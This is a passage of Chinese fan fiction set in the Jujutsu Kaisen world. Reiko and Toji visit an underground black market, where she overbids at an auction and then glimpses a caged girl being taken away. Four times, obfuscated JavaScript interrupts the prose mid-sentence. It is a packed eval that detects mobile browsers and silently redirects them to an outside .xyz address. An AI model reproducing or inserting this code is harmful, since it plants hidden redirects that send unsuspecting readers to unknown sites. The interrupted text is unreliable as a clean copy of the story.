得到了甚尔的承诺,五条怜大概能够安心不少,但想到甚尔貌似算不上是什么言而有信的家伙,她的警惕心一下子又竖起来了。 不过——她转念一想——都说了不赶她走了,要是违背了自己的诺言,难道这家伙不会脸红吗? 不对不对——她又转念一想——甚尔这种没有自尊心的男人,怎么可能脸红啊,更不可能为了她五条怜脸红啦! 五条怜暗自懊恼着她过分天真的想法,越琢磨就越觉得担忧,以至于比得到承诺之前还要更加惴惴不安。为了证明自己的担忧纯粹只是纸上谈兵,她总忍不住偷偷打量甚尔,试图从他的表情中找到一点端倪。 于是吃饭的时候盯,打游戏的时候盯,就连走进了卫生间,某些人——特指甚尔——都能感觉到追随着自己的一道身影正在慌慌张张地飞快闪过 甚尔攥紧拳头。 他受不了了。 “五条怜,你是变态吗?”他不爽地耷拉着嘴角,对站在门外的身影说,“虽然我算不上你的教导者,而且也不是什么很有道德感的家伙,但我肯定没把你往偷窥狂的角度引吧?” “唔……” 五条怜一下子脸红了,愧疚感让她赶紧挪开了目光,支支吾吾的不知道该说什么才好了。 “没、没有想当偷窥狂的意思!”尽管羞到脸红爆炸,但自我辩解的这一步肯定是不能略去的,“我不是变态!” “不是变态的话,你干嘛还站在这里?” “我、我……”迟钝的大脑开始疯狂转动,她得给自己找个借口,“我只是在想事情。对,想事情!” 甚尔好无奈,一口气戳破她的谎话:“……什么事情是非要在卫生间门口想的?” “啊哈哈——” 尬笑了两声,灵感也一下子冒出来了。她兴奋到立刻冲进了卫生间。 “我其实是在……啊抱歉。” 甚尔面不改色地提上裤子:“‘是在’?” 还好还好,没看到什么很了不得的东西。 五条怜紧张地后退了一小步,然后又退了一大步,心脏突突突地跳,把话语都撞得不安稳了:“我在想,唔,甚尔你最近没有工作吗?” “你想让我过劳死吗?” 工作频率不到一个月一次,怎么就变成“过劳死”了?五条怜暗戳戳想。 上一次的正经大活——指的当然是耗费了好几天去北海道追杀咒术师的那一回,已经是上个季节的事情了。 在那之后的工作,都是简单到一天就能完工的轻量级差事,他也不会带上她一起。虽说零花钱还是照拿,但总缺少了一种工作的实感。 “要是工作上需要帮忙的话,可以随便使唤我哦。我的泛用性肯定比丑宝好多了!” 她特地换上一副甜腻腻的撒娇模样,合拢手掌,笑嘻嘻眯着眼,凑到甚尔身边。 “拜托啦!” 五条怜的撒娇可算不上成功——僵硬、生疏、不自然,好听话也没多少,无论从哪个角度都没办法打动甚尔。好在(其实也没什么好的)知道她一贯的执着和粘人,他勉强还是把她的请求听进去了。 “行吧,最近正好有事可以带上你一起去。”他说。 “真…真的吗?”其实听得清清楚楚,但她还是觉得挺难以置信的,不自觉往甚尔身边挨过来,“我果然能在工作上帮忙,对不对?” 热情有点过头了,他往旁边躲了躲:“这次到不是带你去做赚钱的事,而是干点花钱的事情。” “……哦?” 没听明白,但真是有够神秘哦呢。 五条怜想要追问答案,但甚尔总保持着沉默姿态,看来是要把秘密保留到最后一刻不可。她也只好稍稍收起一下泛滥的好奇心,耐心等待着甚尔的指示了。 就这么等待了小半个月,等到好奇心都快全部磨光,甚尔终于朝她招了招手。 “该走了。”他说。 为什么要拖到这一天才出发,她猜测八成是因为北海道的那份工作的最后一笔尾款终于打到了账上(“雇个杀手还要分期付款,看来那些有名的咒术师家族也只是徒有其表啊!”收到第一笔款项时,甚尔骂骂咧咧地这么说,可明明是他自己同意多种多样的付款方式的),钱包总算是充裕了起来,很适合奢侈地买点什么。 五条怜以为他会带自己去银座买奢侈品,或者干脆去4s店买车,但是没有。 他们并未往繁闹的市中心的方向进发,而是坐在电车一路通向市郊。下车之后,又要走上好一阵,四下愈发寂静偏僻,她开始怀疑甚尔是不是要把她卖掉了。但一想到自己好像也没那么值钱,她瞬间就安心了。 实在走了太久,重点似乎遥遥无期,她忍不住了,只好主动问:“我们要去哪儿?” 现在甚尔终于不遮遮掩掩了:“地下黑市。” “哦……” 了然般点点头,她似乎很平静地接受了这个安排,实际上只是意外到不知道该说点什么才好。 幸好,在发出笨蛋的疑问话语之前,她及时地想起了“黑市”这个字眼并不是今天才钻进耳朵里来的——还在北海道的时候,甚尔就说过要把那句会发出尖锐叫声的咒灵带去黑市辨明种类了。 如今咒灵的尸体大概率还安稳地躺在山崖底下,也可能早就伴随着时间分解掉了,但甚尔的想法显然还没改变,所以他们现在才钻进了废弃的隧道里。 “我们快到了吗?”她忍不住问,“这里好冷……” 四下阴沉沉的,日光漏不进来,只有潮湿的味道锁在里头。灌入通道的风呼啸般卷过,掀起了五条怜散落在肩头的长发,飞扬的落叶啪嗒啪嗒掉在脑袋上,她真怀疑自己会不会也变成被风卷走的叶子。她不得不一次次重复着抚平发丝的动作,后悔自己没有带着发绳出门。 或者,干脆把头发剪短了吧?偶尔也会冒出这种不切实际的夸张念头。 甚尔没吱声,估计是没听到她在说什么,只径直往前。走着走着,忽然停住脚步,左右望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910196|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望,不知在思索着什么,犹豫片刻后才后退几米,停在一扇小门前。 “从这里进去。”他这才说。 好嘛。原来他是记不得路线了。 五条怜扯扯嘴角,努力不让自己的笑意泄露得太明显,赶紧跟上去了。 小门背后关着黑漆漆一片,甚尔没有打开手电筒就直接步入其中。她紧紧跟上,仍觉得不安。想要伸手去拽他的衣袖,结果他却一声不响地停下来了,吓得五条怜措手不及,砰一下就撞上了他的后背。 “你啊……”居然是他先叹气抱怨起来,“走路长点眼睛好不好?” “唔——嗯。”她捂着鼻子,不情不愿的,“知道了。” 走在这么黑漆漆的地方,长了眼睛也没用啊! 这话才是她真正的念头。 好在甚尔结实的后背肌肉本质上还是很柔软的,就算是在惨烈的撞击之下,也没让她的脸变成拍扁的面团。可他却不再继续往前走了,难道是生气了? “我有什么好生气的?” 当五条怜直白地抛出询问时,反倒得到了他困惑的这句疑问。她煞有介事地摸摸下巴,想了想才说:“因为,我刚才撞在你的背上了?” 甚尔无奈地耸着肩膀:“所以,这有什么好生气的?” “唔…”五条怜想了想,得出结论,“好像是不值得生气?” “那不就好了。” “哦——”虽然这也算不上是什么危机,但还是勉强称之为危机解除吧,“那您还不往前走吗?” “在等电梯。” 被他这么一说,五条怜才注意到前方小小的电子屏幕。刚才被他过分宽阔的臂膀挡住,完全不晓得前面是怎样的情况。 继续耐心地等待吧。等到“叮”一声清脆的声音响起,电梯门就此敞开。步入其中,按下控制面板上的向下键——除此之外就只有向上的按键了——电梯将载着他们一路向下。 “战争期间,这里曾经是防空洞。” 可能是电梯内小小的四方空间把无聊感压缩得太过紧迫,甚尔居然很主动地说起了黑市的事情。 “战败之后,防空洞被废弃,政府也无视了此地,几个诅咒师来到这里,搭建起了地下黑市——所以‘地下’指的是各种意义上的地下。这里鱼龙混杂的人很多,你最好表现得乖一点。我可不想招惹多余的麻烦。” “好。” 听起来真吓人,好在她一直都挺乖的,所以也没什么好担心的……吧? 五条怜又忍不住开始思考自己被卖掉的可能性了。 还来不及乱七八糟地幻想一堆有的没的,电梯门敞开了。她莫名有些紧张,就连漏入其中的是明亮的光也叫她觉得不安。跟在甚尔身后,她走出了电梯。 此处理所应当般没有风,空气却格外清新,完全没有潮湿或腐朽的气味。 抬头,看到了蓝色的天空。有很薄的一层云挂在天顶,看来这会儿正是个好天气。 ……诶?天空? 65.地下黑市 抬头看到蓝色的天空,这是一件很符合常理的事情。但如果此事发生的地点是位于防空洞的地下黑市,那就显得相当不合常理了。 五条怜揉揉眼睛,有点不敢相信。 看了又看,头顶的“天空”,似乎真的有点端倪。 同每日所见到的晴空不太一样,日光像是单纯地漂浮在天顶上,带着一种不真实感。而那看似明亮的日光,实际上亮度并没有那么显著,投在身上也没有温暖感,反而在她的脚下凝聚成了好几道影子,仿佛有无数盏灯照过来。 极偶尔的时候,等看到日光在闪烁——非常短暂且虚晃的闪烁,在反应过来之前便消失无踪。 再仔细看看,那些浅浅的云始终定在那里,没有浮动分毫。到这里,她终于可以确信,他们还在地下了。 “甚尔。” 把他的“乖一点”的叮嘱谨记于心,她特地压低了说话声,指了指天顶,把询问也压缩到了最小限度。 “是灯吗?” 甚尔并没有那么好奇,当然也早就知道了天空的秘密,但听到了她的问话,还是习惯性抬头瞄了一眼。 “是青空灯,仿造天空模样的灯。”他说着,轻笑了一声,带着点嘲弄的意味,“老是待在地下看不到天空,人会疯掉的。” “是嘛……”新奇的理论,她忍不住追问,“那到了夜里,这些灯也会变成夜空那样昏暗的颜色吗?” “不会吧,我忘了。”甚尔耸肩。 “一直开着灯,不就变成白羽鸡速成基地了吗?” “白羽鸡速成基地……你从哪里知道这种东西的?” “电视上呀。” 北海道的农业节目里很认真地花了两个小时科普了白羽鸡速成基地的经营方式,内容可以说是相当有趣,她也就很认真地观看了两个小时,一度冒出了“以后我就在北海道养白羽□□!”的混账念头。 甚尔一时不知道说什么才好,没见过白羽鸡速成基地的他也想象不出那里是什么模样的,但五条怜看起来一脸认真,不作回应好像也不太合适,只好拍了拍她的脑袋,勉强算是给出了答复吧。 电梯门连接着在入口处,破铁皮拼成的大门看起来很简陋,还有几个人守着,不过只要出示了身份证明,就可以继续前进了。守门的中年男人看起来也没那么吓人,还对着甚尔打趣。 “哟,找了个小女朋友?”说的话倒是挺没礼貌的,“原来你好这一口!” 五条怜不喜欢守门人打量自己的目光,往甚尔身边躲了躲。打算辩解两句,又想起了他的叮嘱,沉默着不吭声了。 甚尔拿回了自己的驾照,摆出一副圆滑模样:“只是个小助手而已。” “哎。”对方显然不喜欢这个答案,依旧一副好事模样,“我懂,我懂。” 明明什么都没懂。 五条怜暗自在心里唾弃对方,等门一打开,就飞快地钻进了里头,都不情愿回一下头。 迈过门后,就能见到真正的黑市了。 和想象中的阴暗邪恶诡谲的氛围不太一样,这里看起来很像是商业街——笔直的通道和两旁的小铺,标准的商业街配置。不过商业街不会售卖咒具和咒灵,也没有夺命的咒物,更加不可能出现露天的八角笼,里头关了两只一决生死的咒灵。 又要过来赌钱了吗?她暗自揣测。 她猜错了。 甚尔无视了八角笼,径直往前走。她也只好从八角笼中收回视线,跟在他身后。 还是忍不住环视四周。 本就挑高的防空洞又被加宽挖深,变成了足够容纳三层建筑物的奇妙空间,拉得很杂乱的电线穿梭在每一间店铺的上方,如巨大的蛛网将黑市包裹。地上散落着垃圾和纸片,还掺杂了几张传单。五条怜瞄了一眼,是特级咒具万里锁的拍卖通知,时间就在今天下午两点……不就是半个钟头之后的事情? 啊,原来是为了拍卖而来的!五条怜一下子想明白了。 走进拍卖会场,领到的号码牌是相当不吉利的“13”。甚尔轻轻咋舌,把号码牌别在了五条怜的胸前,完全无视了她不情不愿的幽怨表情,拉着她在中间几排落座。 特技周五的拍卖会,意外得没有吸引来太多的人。五条怜本以为会场至少能够坐满,没想到临开始前也就十几组客人而已,连席位的三分之一都没占满,也难怪甚尔能够放肆地把腿翘在前排的座椅上了——压根没人管他。 “呶,拿着。” 他把拍卖牌丢过来,五条怜手忙脚乱地上演了一出拙劣的杂技才终于接住。 “待会儿我来举牌竞价呀?”她指着自己问。 尽管拍卖会一次都没来过,但她看了足够多的电视剧,对于拍卖会的流程可不是一无所知。 甚尔“嗯”了一声:“你照我的指示加价就行了。” “哦……明白了。” 居然把整场拍卖中最有意思的部分让给了自己,真不知道甚尔是怎么想的。她忍不住冒出了这样的念头。 当然了,甚尔的心思可不是那么容易就能揣摩出来的,所以五条怜也不会真的去探究她的心思,只是在心里小小地吐槽了一下罢了。 灯光缓缓暗下,拍卖师走上台前,封印在木盒里的万里锁也被抬到台上。 开篇当然是对今日拍卖的咒具进行介绍,顺带说一点真假难辨的夸赞话,把万里锁描绘成世间绝无仅有的神秘咒具。甚尔连眉毛都没抬一下。 他本来就是为了万里锁而来的,锦上添花的话语没有意义。 好不容易熬过平白直叙的夸奖,就是正经的竞拍时刻了。小锤落下,起拍价是两千万,五条怜的大脑瞬间被一大堆的数字0塞满了。 她真的不想表现得那么窝囊,但她真的需要确认很重要的一件事。 “我、”她很可耻地结巴了,“我们真有两千万吗?” 甚尔只想叹气:“我有。” “真有呀?” “你要不信就别问了。” “我——” 虽然很想说“我信”,但自称有两千万的对象,可是一年前穷到付不起房租只能每天吃清水煮乌冬面的家伙……可信度怎么想都不高啊。 五条怜咬咬牙,努力摒弃对甚尔的固有印象,努力为他镀上一层“努力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916080|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作所以拿出两千万绰绰有余”的形象。 镀金成功了吗?不好说。总之回过神来,才发现万里锁的价格已经被拍到了五千万,自己还没举过一次牌。还以为是自己一不小心发呆,错过了甚尔的指示,但转头一看,他依旧已那副悠闲放肆的姿态坐着,看起来毫不着急。 拍卖价来到六千万。举牌竞价的人数明显比刚才少了,只有零星几次举牌。 “六千七百万一次,六千七百万两次——”小锤子高高举起,其实还不准备这么早早落下,“——是否还有更高的竞价?” 甚尔轻碰了碰她的手背,五条怜知道,该是自己登场的时刻了。 紧紧抓着拍卖牌,不敢有半点耽搁,她飞快地举起手。 “好!”拍卖师也兴奋起来了,“六千八百万一次!” 甚尔在旁边叹气,听得五条怜好紧张。 “是我有什么地方没做好吗?” 他本来不想说的,但果然还是忍不了:“手不用伸得这么直。你刚才看起来像是小学生课堂举手发言。” “哦……”五条怜茫然地眨眨眼,说了一句很像是无关紧要的话,“我没去过学校。” “反正你表现得自然一点就好了。” 她暗自攥紧拳头:“我明白了!” 她会继续努力的!——虽然这种事也没什么好努力的就是了。 竞价来到八千万,大多数竞争者都已退场,唯独666号(这个号码比他们的13号还要晦气呢。恶魔的数字,她忍不住想)紧咬在后面,让五条怜好不安。 被紧紧追赶的感觉很怪,持续走高的价格也让她紧张,虽然甚尔看起来还是很平淡的模样,但五条怜总忍不住担心一大堆。 每一次举完牌,她都要左顾右盼一番,暗自祈祷着没人追着加价。可每当放下心来,666号就会迟迟地加价,就像是在故意折磨她的神经。 几轮过去,价格即将抵达新的位数。甚尔翘起的脚还在轻快地抖着,传来的震动让五条怜的椅子也颤抖不止。她禁不住再次回头,寻找着666号的踪影,那一行人就坐在最后排,从某种程度来说也算得上显眼。 后排的灯光昏暗,把他们的面孔塑造出了同样的光影。五条怜举着拍卖牌,努力撇开光影的影响,试着看清他们的脸。有些意外,这几张面孔,她感到眼熟。 不是最近见到的眼熟感,而是存在于更久远些的记忆中的面孔。他们看起来就像是……诶?不会吧。 不确定,再看一眼。 五条怜飞快回头,眯起眼偷窥后排,顺便举了下牌。 啧……貌似确实是…… 啊啊,还是不太确定。再看一看吧! 第八次回头,甚尔终于忍无可忍:“你动来动去干嘛?” 飞快地收回目光:“我没动来动去。” “这把椅子都要被你晃得散架了。”他撇撇嘴,“冷静点。你这样显得我很没底气。” “不是啦。我——” “你怎么?” 五条怜涨红了脸。 “……坐在后面的666号是五条家的咒术师!” 66.新仇旧恨 此刻,五条家的咒术师就坐在两米开外的地方,完全能听到他们交头接耳时发出的小小动静。要是五条怜的鼻子能够再灵敏一点,她绝对还能闻到那几个人身上特有的五条家的味道。 至于“五条家的味道”是一种怎样的味道……抱歉,她自己也描述不出来。 总之,就是一股类似于烂橘皮堆叠在一起,清爽之中又带着点粉尘沉闷感的气味吧。但五条悟身上没有这股气味,她也没有……等等,有点想太多了。 现在既不是琢磨橘子皮,也不是思念五条悟的时候。五条怜飞快地回过神来,666号又举牌了。 “八千五百万!” 拍卖师的声音激动而高亢,带着一种前所未有的激昂感,但并不像是满足于这个价格了,倒像是想要给在座的所有人打上一针鸡血,敦促他们再次加入这场金钱斗争之中。 别人有没有被这拙劣的手段吸引到,实在不好说。反正五条怜肯定是被顺利打上鸡血了。不等甚尔给出指示,她已经迫不及待地举起了拍卖牌。 “八千六百万!”依旧是亢奋的唱价,拍卖师一副笑眯眯的面孔,“13号客人,很有魄力呢……哦,666号客人也举牌了。八千七百万一次!” 呃呃呃——可恶啊! 这群人好讨厌! 有种莫名的焦躁感钻进了五条怜的心底,诡异的瘙痒感挠得心神不宁,绵软的凳子也像是变成了尖刺,怎么都坐不安稳。 五条家的咒术师认出她了吗? 他们以前只在宅邸里短暂地打过几次照面,连话都没有说过,大概是没认出来吧。 可是,她的眉眼间依旧留着五条悟的影子,也依然长得很像五条家的一员。看着她的脸,她们真的认不出她吗? 很奇怪,五条怜也不知道自己的内心希望的究竟是什么——她不确定自己是希望被认出来,还是不要被认出来。不过问题的重点似乎不是自己的想法或是感受。 如果五条家的咒术师当真认出自己了,那他们绝对是在恶意竞价,一次次举牌的行为绝对是针对她这个叛徒的报复。 可如果没认出来的话…… 真的能认不出来吗?虽然她确实一贯存在感很低没错,但也不至于看不出她也是五条家的吧?五条怜觉得好不甘心。 如果没有认出她是谁的话,那他们就是纯粹的性格恶劣,非要同别人一较高下不可。真讨厌。 说实话,她死都不想输给五条家的人。 五条怜果断举牌,再次压了666号一头,但价格很快又追上来了。 麻烦的拉锯战。 她这么想着,再度举牌,完全没有留意到酸痛的手臂,也没发现甚尔搁在前排的脚已经放下来了,散漫的坐姿也变得难得的端正。他总在瞟着五条怜,表情微妙,大概是已经看出她在赌气了,只是不确定该怎么把这个事实说出口。 再不确定怎么说,等到拍卖价直逼十一位数的时候,也不得不说了。甚尔冷汗狂冒,想要去按下她的手。 “喂,阿怜。你……” “一亿一千万!” 硬是撞开了甚尔的手,五条怜赶在拍卖师之前报出了价格,而后便是短暂的寂静无声——她固执地抿着唇,甚尔惊讶到一声不吭,五条家的咒术师也不再举牌了。 咚咚咚。小锤砸出清脆的声响。 “一亿一千万,成交!” 呼——五条怜猛松了一口气,甚至忍不住翘起了嘴角。 “我们成功拍下了呢,甚尔!……甚尔?” 五条怜眨眨眼。她怎么感觉甚尔看起来怪怪的? “你还好吗?”她用手戳戳他的肩膀,理智终于稍稍回到大脑里了,“唔……我们有一亿一千万吗?” 甚尔艰难地挤出回答:“……有。” 有是有,但这次真是彻底搞砸了。 按照甚尔最初的设想,九千万左右是最好的价格,如果是一亿,勉强还能接受。在这基础上再加一千万……抱歉,这绝对就是超级不值当的交易没错了。 一想到差不多要归零的银行账户,比起肉疼更多的是心疼。他真的后悔把举牌的差事交给五条怜了——谁能想到五条家的咒术师也在这里,而且她还会和他们赌气抬杠呢? 当然,也要懊恼一下想要万里锁的自己。 要是他的渴望没那么强烈,大可以撒泼耍赖,或者以“小孩子不懂事”当借口,硬是拒绝掉这笔交易,尽管丢了面子,但也算是保住了钱包。 偏偏他不想放弃万里锁,那就只能吃亏了。 身旁,五条怜还在“甚尔”“甚尔”地喊个不停。显然她的理智已经彻底归位了,呼唤他的声音都显得有些紧张。 “我是不是搞砸了呀?”她抹去额角的冷汗,有点畏畏缩缩的,“我们又要开始吃清水煮乌冬面了吗?” 比起被怒骂一顿,果然还是清水煮乌冬面更让她恐惧。 甚尔不发一语,默默地掏出了钱包,掏出几张纸币,塞到她手里。 “你先到外面逛逛吧,接下来的环节完全别来添乱。乖。” “我——” 甚尔又开始掏钱了:“好了好了好了玩去吧玩去吧……” 五条怜一脸郁闷,捧着钱像是不知所措。但他现在实在没空去照顾她的情绪了(倒是先来个人宽慰一下他在各种意义上的损失嘛),跟着拍卖师走进后台,去心甘情愿地奉上一亿一千万了。 签一堆无聊的文件,等着上交存折。这里的人做起事来磨磨蹭蹭,看来白羽鸡速成工厂的效果不佳,时钟都已走过了整点,他的钱还好好地停留在自己的账户上。 干脆一直留在自己这儿就好了,如此一来,他的钱也可以一直停留在账上不划走了。他冒出不切实际的念头。 这种好事不会发生,所以还是接着等待吧,反正今天也没有别的事要做。 甚尔这么想着,瘫在沙发上。口袋里的手机震了震,不知道是谁的消息,他依旧不紧不慢,磨蹭着掏出来。 「Ryo:dax=b&7nu^7"Cekxsde!」 来自五条怜的短信,但是一串乱码。 怎么,在表达自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921986|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不满吗? 甚尔无奈地撇嘴,把手机收进了口袋里。 “什么嘛,居然对我说那种话,把我当小孩子一样……” 五条怜咕哝着,满心郁闷地走出拍卖场时。 抬头望了一眼时钟,距离整点还有半小时之久。甚尔没说什么时候再去找他,她也不敢走开,只好无聊地踢着脚下的废纸团,不知道该做点什么才好。 既然给了她钱,那全部花光也没关系吧?反正钱已经是她的了。 下定了决心,她果断迈步向前,但警惕地没有走远,只在周围的几间小铺逛了逛。 这里多数店铺都在售卖咒具,还有中介服务——服务的对象当然是需要诅咒师介入的委托。她瞬间明白甚尔为什么会对这里很熟悉了。 从各种意义上来说,他都很需要黑市这种地方。 穿梭其中,本以为会被当作猎物或是冤大头,事实上这里的人没怎么关注她,最多就是抬起眼皮瞄一瞄她,片刻后就挪开了目光。看来这地方也没有那么可怕嘛,她想。 随意走进一间武器店,五条怜决定在这里把钱全部花光。 大件的咒具一如所料,相当昂贵,她买不起,也用不来。小型咒具嘛,价格倒是适中,但品类也繁多,挑花了眼,拿不定主意。看来看去,在店主“不买就快点走”的胁迫性目光下,选了一套苦无。 是因为她很擅长或是喜欢苦无,所以才做出了这个选择吗?当然不是。 纯粹只是苦无价格适中,且看起来上手门槛很低,她才买下的——就是这么非常简单且直白的理由。 再抬头瞄瞄时钟。还以为已经消磨了足够多的时间,结果仔细一看,才过去了十几分钟而已。她无处可去了,也不好意思再咒具店多逛。 不管怎么说,光看不买的顾客需要承受的心理压力都太大了一点,她这么脆弱的人可接受不了。 要不去八角笼那儿看看?说不定咒灵之间的拼死斗争会很有趣。可惜不参与赌博就没办法观赛,五条怜既不想当个赌徒,余下的找零也不够支付赌资,只好就此作罢,漫无目的地走在街头。 “哎呀……” 擦肩而过的一个壮汉当真擦着她的肩膀撞了过去。 有点疼,但更多的是意外。而他就像是什么都没看到一样,睁着一双长在头顶上的眼睛,推动手中的平板车径直往前走,挂在裤腰带上的钥匙甩得哗啦哗啦响,真是吵闹的动静。 五条怜想要叫住他,话都到了嘴边,却没说出口。壮汉戴了厚重的耳机,八成听不到她说话,还是不要……哦,不对,他的“耳机”没有线,应该是隔音耳罩吧。 戴着隔音耳罩走在路上,好怪。该说真不愧是地下黑市吗?她暗戳戳在心里感叹着,忍不住频频回头打量他。 可能是看的次数多了,也可能是五条怜的好奇终于化成了实体,壮汉踉跄了一下,推着的平板车也随之震颤,车上盖着红布的方形物体猛地一抖,往旁边歪斜过去,露出铁笼的一角。 然后,她看到了。 看到一个长发的人被关在笼中。 67.手与手 有人,人被关在笼子里。 意识到这个事实的瞬间,率先出现在五条怜大脑中的概念是“否认”——人不会被关在笼子里,也不该被关住。 她几乎想要揉揉眼睛,仿佛这样就能看得更清楚。但在此之前,推车的壮汉已经注意到了歪斜的笼子。 几乎是立刻,他左右瞧了瞧,而后飞快地搬回笼子,把红布盖好。那人的身影再次被遮挡住,但五条怜已经看见了。 那是个赤.裸的人,深绿色如海藻的长发遮挡住了大半个身子,似乎是位少女。奇怪的是,她的下半张脸被什么东西盖住了,像是面罩——电影里的汉尼拔佩戴的那种面罩。 很像,但不完全一样。少女的面罩明显更加严实一点,紧紧贴着下半张脸,不留半点空隙,五条怜几乎只能看到她露出的一双眼睛。 而那双眼睛布满惊恐的血丝,不安地四下瞟着,像是在寻求着什么。 有那么一瞬间——非常短暂的瞬间,她们的视线交汇在了一起。而后便被合拢的红布盖住。 啊。不见了。 该说是怅然若失,还是惊魂未定呢?五条怜觉得心里空落落的,视线还是不自觉黏着在那块红布上。 很忽然的,红布鼓了起来,一只纤细的手臂从铁笼子的空隙之间探出,向五条怜所在的方向伸过来,努力试图抓住她们之间的空气。 此刻她看不见少女的表情,却不自觉的也想伸手,去握住她苍白的指尖。她几乎都要抬起手了,一阵尖锐的巨响吓得她缩回了手。 壮汉发现了。 当然了,他看到的并不是五条怜蠢蠢欲动的手,而是伸出在铁栏之外的那只纤细手臂。毫不犹豫,他果断地拾起路边的一根木棍,用力敲在铁笼子上。 真是……前所未有的巨大响声,像是什么东西从半空之中爆裂。求救的手缩回去了,许是在怯懦地颤抖着吧。 壮汉又接连敲打了几下,毫不在乎这动静已经引来周围人的白目。他一定是故意想要恐吓铁笼中的少女吧。 最后一记敲打之后,周遭瞬间变得安静了。把棍子往边上一丢,他推着平板车继续往前。回过神来,五条怜才发现自己还停在原地,双手颤抖不止。 那个女孩向她伸出了手,可她没能握住那只手……她究竟是怀揣了怎样的心情,以至于要在向过路的自己求救呢? 空落落的感觉愈发扩张,整个胸腔都快要坍缩下去了。 现在五条怜可以确定了,这空洞般的异样感来自于无能为力。她讨厌这种感觉。 壮汉的背影变得愈发渺小,消失在尽头的拐角处。五条怜的心脏跳得好快。 迈开脚步,她追了上去。 她知道自己在做一件很不理智的事情,但她必须要把那个女孩救出来。不是为了什么崇高的理由,也并非自信心爆炸,想当拯救他人的英雄。纯粹只是她向自己伸出了求助的手,所以五条怜必须回应她的期待。 要是失败了怎么办……嗯,这种事情还是等到失败之后再去想吧。 大不了就叫来甚尔帮忙嘛,虽然大概率会被他抱怨一顿,且有一定概率会被拒绝帮助就是了。 一想到甚尔那张气人的脸,五条怜顿感动力十足。加快速度,快走变成了小跑,紧接着加速到了狂奔的程度。 穿过狭窄的小巷,绕过拐角,壮汉过分壮硕的背影再度回到了视野中。她大喘了几口气,努力隐藏自己的气息,憋得脸颊通红,才意识到对方戴了耳罩,根本听不到她的动静,这才安心地大口呼吸。 继续弯弯绕绕,周遭的人越来越少。 继续走下去,会不会只剩下她与壮汉与铁笼中的少女了,到时候她能打过这么个和甚尔差不多结实的家伙吗? 她在心里盘算着自己的胜率(怎么算都低得可怕),不经意间,壮汉已在一栋三层建筑的后门停下了脚步,熟练地拿出腰上的一串钥匙打开了门,平板车也被推了进去。 门很快关上。不出所料锁得紧紧的——怎么可能给她留下可乘之机呢。 试着透过锁孔往里打量,看到的只是黑漆漆一片。门上的锁是最新式的,可不是那种能够从锁芯透露出屋内秘密的老式旧锁。 没办法,她只好把耳朵贴在了门上。 平板车推动时的轱辘声算得上独特,就算是隔着一层门扉,也能听得清楚。 五条怜真希望自己的耳朵能和眼睛一样灵光,如此一来就能精准地分辨出平板车被推到什么位置了。可惜希望暂且只能停留在希望的阶段,她迟钝麻木的耳朵只能辨认出轱辘声往右上方去了,然后变得越来越轻,倏地又拉近了些,但依旧停留在右半侧。 再之后,轱辘声就消失了,取而代之的是“砰”一声,像是砸上一道门。那个女孩是被关起来了吗,还是别的什么可能性?猜不出来。 她后退了几步,有点茫然,不知道接下来该做点什么才好了。 总之,先绕到了建筑物的正面,发现此处也是拍卖场,不过总体的装潢可要比甚尔去的那间拍卖行豪华多了,来客也更多。所有人都在进门后戴上了耳机,真怪。 没时间去探讨这些有钱的咒术师们(或是诅咒师们)的金钱将为了什么流向黑市了,五条怜躲进到阴影里,又回到了后门。 索性这里没什么人,稍稍做点奇怪的或者是放肆的举动,大概也没关系。 助跑几步,她高高跃起,姑且顺利地抓住了二楼的窗框。用指尖轻轻戳开玻璃窗,透过缝隙能看到里头黑漆漆的一片,看起来像走廊,有几个人在轮番巡逻,她赶紧收回了目光,缩着身子往旁边躲。另一旁的窗户似乎是储藏室,看到了一堆箱子,还有贴着编号的拍品。 几乎把每扇窗户都看了个遍,哪一扇窗后都没有那个少女或是红色布匹蒙着的铁笼……运气真差。难道非得要深入敌营,把每个角落都摸过一遍才行吗? 实话实说,现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927316|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在五条怜有点后悔。她觉得自己是在逞能。但都已经走到了这一步,虽然确实来得及全身而退没错,未免显得自己太怯懦了吧? 